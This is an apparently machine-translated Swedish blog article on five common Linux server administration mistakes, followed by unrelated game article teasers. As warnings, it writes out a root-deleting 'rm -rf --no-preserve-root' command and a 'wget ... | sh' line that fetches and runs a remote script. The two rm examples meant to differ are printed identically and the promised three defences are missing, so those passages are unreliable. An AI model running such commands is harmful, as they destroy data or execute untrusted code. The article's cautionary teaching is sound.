Linux-kommandon

Fem Linux-serveradministrationsfel och hur man undviker dem

Fem Linux-serveradministrationsfel och hur man undviker dem
År 2017 ombads en anställd på GitLab, versionskontrollplattformen, att replikera en databas med produktionsdata. På grund av ett konfigurationsfel fungerade replikeringen inte som förväntat, så den anställde bestämde sig för att ta bort data som hade överförts och försök igen. Han körde ett kommando för att radera oönskade data, bara för att med ökande skräck inse att han hade skrivit in kommandot i en SSH-session ansluten till en produktionsserver, med borttagning av hundratals gigabyte användardata. Varje erfaren systemadministratör kan berätta en liknande historia.

Linux-kommandoraden ger serveradministratörer kontroll över sina servrar och data som lagras på dem, men det hindrar dem inte att köra destruktiva kommandon med konsekvenser som inte kan ångras. Radering av oavsiktlig data är bara en typ av misstag som nya serveradministratörer gör.

Låser in nycklarna

Serveradministratörer ansluter till servrar med SSH, en tjänst som vanligtvis körs på port 22, vilket ger ett inloggningsskal genom vilket autentiserade användare kan köra kommandon på fjärrservrar. Ett vanligt säkerhetshärdningssteg är att konfigurera SSH för att acceptera anslutningar på en annan port. Att flytta SSH till en slumpmässig port med högt nummer begränsar effekten av brute-force attacker; hackare kan inte försöka skadliga inloggningar när de inte hittar den port som SSH lyssnar på.

En administratör som konfigurerar SSH att lyssna på en annan port och sedan startar om SSH-servern kan dock upptäcka att det inte bara är hackare som är utestängda. Om serverns brandvägg inte också konfigureras om för att möjliggöra anslutningar på den nya porten kommer anslutningsförsök aldrig att nå SSH-servern. Administratören kommer att vara utestängd från sin server utan att kunna lösa problemet förutom att öppna en supportbiljett hos sin webbhotell. Om du ändrar SSH-porten, se till att öppna den nya porten i serverns brandväggskonfiguration.

Välja ett lätt gissat lösenord

Brute-force attacker är ett gissningsspel. Angriparen försöker många användarnamn och lösenord tills de träffar på en kombination som släpper in dem. En ordboksattack är ett mer förfinat tillvägagångssätt som använder listor med lösenord, som ofta tas bort från läckta lösenordsdatabaser. Attacker mot root-kontot är enklare än mot andra konton eftersom angriparen redan känner till användarnamnet. Om ett root-konto har ett enkelt lösenord kan det hackas på nolltid.

Det finns tre sätt att försvara sig mot både brute-force och dictionary-attacker mot root-kontot.

Kopiera kommandon som du inte förstår

Stack Exchange, Serverfault och liknande webbplatser är en livlina för nya Linux-systemadministratörer, men du bör undvika frestelsen att kopiera och klistra in ett skalkommando som du inte förstår. Vad är skillnaden mellan dessa två kommandon?

sudo rm -rf --no-preserve-root / mnt / mydrive /
sudo rm -rf --no-preserve-root / mnt / mydrive /

Det är lätt att se när de visas tillsammans, men inte så lätt när du söker i forum som letar efter ett kommando för att radera innehållet i en monterad volym. Det första kommandot raderar alla filer på den monterade enheten. Det andra kommandot raderar dessa filer och allt på serverns rotfilsystem. Den enda skillnaden är utrymmet före den sista snedstrecket.

Serveradministratörer kan stöta på långa kommandon med pipelines som sägs göra en sak men göra något annat helt. Var särskilt försiktig med kommandon som laddar ner kod från internet.

wget http: // exempel.com / verybadscript -O - | sh -

Detta kommando använder wget för att ladda ner ett skript som skickas till skalet och körs. För att köra detta på ett säkert sätt måste du förstå vad kommandot gör och även vad det nedladdade skriptet gör, inklusive all kod som det nedladdade skriptet själv kan ladda ner.

Logga in som root

Medan vanliga användare bara kan ändra filer i sin hemmapp, är det lite som rotanvändaren inte kan göra på en Linux-server. Den kan köra vilken programvara som helst, läsa alla data och radera alla filer.

Applikationer som drivs av rotanvändaren har liknande kraft. Det är bekvämt att vara inloggad som rotanvändare eftersom du inte behöver “sudo” eller “su” hela tiden, men det är farligt. Ett skrivfel kan förstöra din server på några sekunder. Buggy-programvara som drivs av rotanvändaren kan skapa en katastrof. Logga in som en vanlig användare för dagliga operationer och höj till root-behörigheter endast när det behövs.

Inlär inte behörigheter för filsystem

Behörigheter för filsystem kan vara förvirrande och frustrerande för nya Linux-användare. En behörighetssträng som “drwxr-xr-x” ser meningslös ut i början, och behörigheter kan hindra dig från att ändra filer och stoppa programvara som du vill att den ska göra.

Systemadministratörer lär sig snabbt att chmod 777 är en magisk besvärjelse som löser de flesta av dessa problem, men det är en hemsk idé. Det låter alla med ett konto läsa, skriva och köra filen. Om du kör det kommandot i en webbservers katalog, ber du att bli hackad. Linux-filbehörigheter ser komplicerade ut, men om du tar några minuter att lära dig hur de fungerar kommer du att upptäcka ett logiskt och flexibelt system för att kontrollera filåtkomst.

I en era som värderar enkla användarupplevelser över alla andra faktorer förblir Linux-kommandoraden resolut komplex och motståndskraftig mot förenkling. Du kan inte röra igenom och hoppas att allt kommer att bli bra. Det kommer inte att vara bra och du kommer att hamna med en katastrof i dina händer.

Men om du lär dig grunderna - filbehörigheter, kommandoradsverktyg och deras alternativ, bästa praxis för säkerhet - kan du bli en mästare på en av de mest kraftfulla datorplattformar som någonsin skapats.

OpenTTD vs Simutrans
Att skapa din egen transportsimulering kan vara rolig, avkopplande och extremt lockande. Det är därför du måste se till att du testar så många spel so...
OpenTTD-handledning
OpenTTD är ett av de mest populära affärssimuleringsspelen där ute. I det här spelet måste du skapa en underbar transportaffär. Du kommer dock att bör...
SuperTuxKart för Linux
SuperTuxKart är en fantastisk titel som är utformad för att ge dig Mario Kart-upplevelsen gratis på ditt Linux-system. Det är ganska utmanande och rol...